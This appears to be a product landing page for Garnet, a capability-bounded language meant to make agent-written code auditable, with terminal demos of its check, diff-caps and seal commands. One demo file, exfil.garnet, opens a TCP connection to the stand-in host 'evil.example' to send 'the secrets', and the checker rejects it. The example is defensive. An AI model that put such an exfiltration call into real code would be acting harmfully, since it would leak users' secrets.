GARNET

English is how you tell an agent what to do. Garnet lang is how anyone else can trust what it did. A capability-bounded language whose checker rejects an undeclared call into its registered capability surface, whose diffs report widened authority, and whose builds and seals a stranger can recompute without trusting the author.

The bet is the integration, not the parts. Each pillar is well-precedented — capabilities, deterministic builds, in-toto attestations, diff-caps review — and the new thing is one language that targets agent-authored code and ships the evidence with it.

no authority without evidence · research-grade v0.8.1 · built by Island Dev Crew

one door is locked on purpose — it opens when its evidence exists, and not one day sooner

$ cat exfil.garnet
@caps()
def main() {
  net::tcp_connect("evil.example:443", "the secrets")
  0
}
$ garnet check exfil.garnet
caps coverage: function `main` does not declare `net` but transitively calls `net::tcp_connect` which requires it

1 functions checked, 1 boundary call sites, 1 diagnostics
$ echo $?
1

$ garnet diff-caps --machine hello.garnet declared.garnet
{"schema":"garnet.diff-caps.machine/1","verdict":"authority-expanded","authority_expanded":true,"capability_band":"2/5","exit_code":1,"aggregate_gained":["net"],…"scope":"declared-surface-only; does not prove absence of undeclared authority; bound annotations are not part of this surface"}

$ garnet seal hello.garnet
{"_type":"https://in-toto.io/Statement/v1","subject":[{"name":"hello","digest":{"blake3":"be28668b…bf8845c2"}}],"predicateType":"https://garnet-lang.org/attestation/seal/v1",…
garnet seal: cosign not installed — in-toto predicate emitted UNSIGNED (wrap-don't-rebuild: install cosign to attest; Garnet does not sign supply-chain itself)

this is the product — the paperwork writes itself out of evidence that already exists · run check and diff-caps yourself, in the browser

How a change is accepted here

Implementation on a branch, one slice, evidence-backed.
Independent review by a different model family from the implementer — never the seat that wrote the work.
A structured record committed beside the change, bound to the exact reviewed commit.
Carrier approval bound to the record's commit, then the merge — separate acts, one human gate.
The rule: a content change voids the verdict; a missing record stays red.

Trust-kernel changes carry all five. The register of what the gates caught is public: findings U-04 through U-83, historical gaps recorded.

How a change is accepted here

Thirty seconds of Garnet lang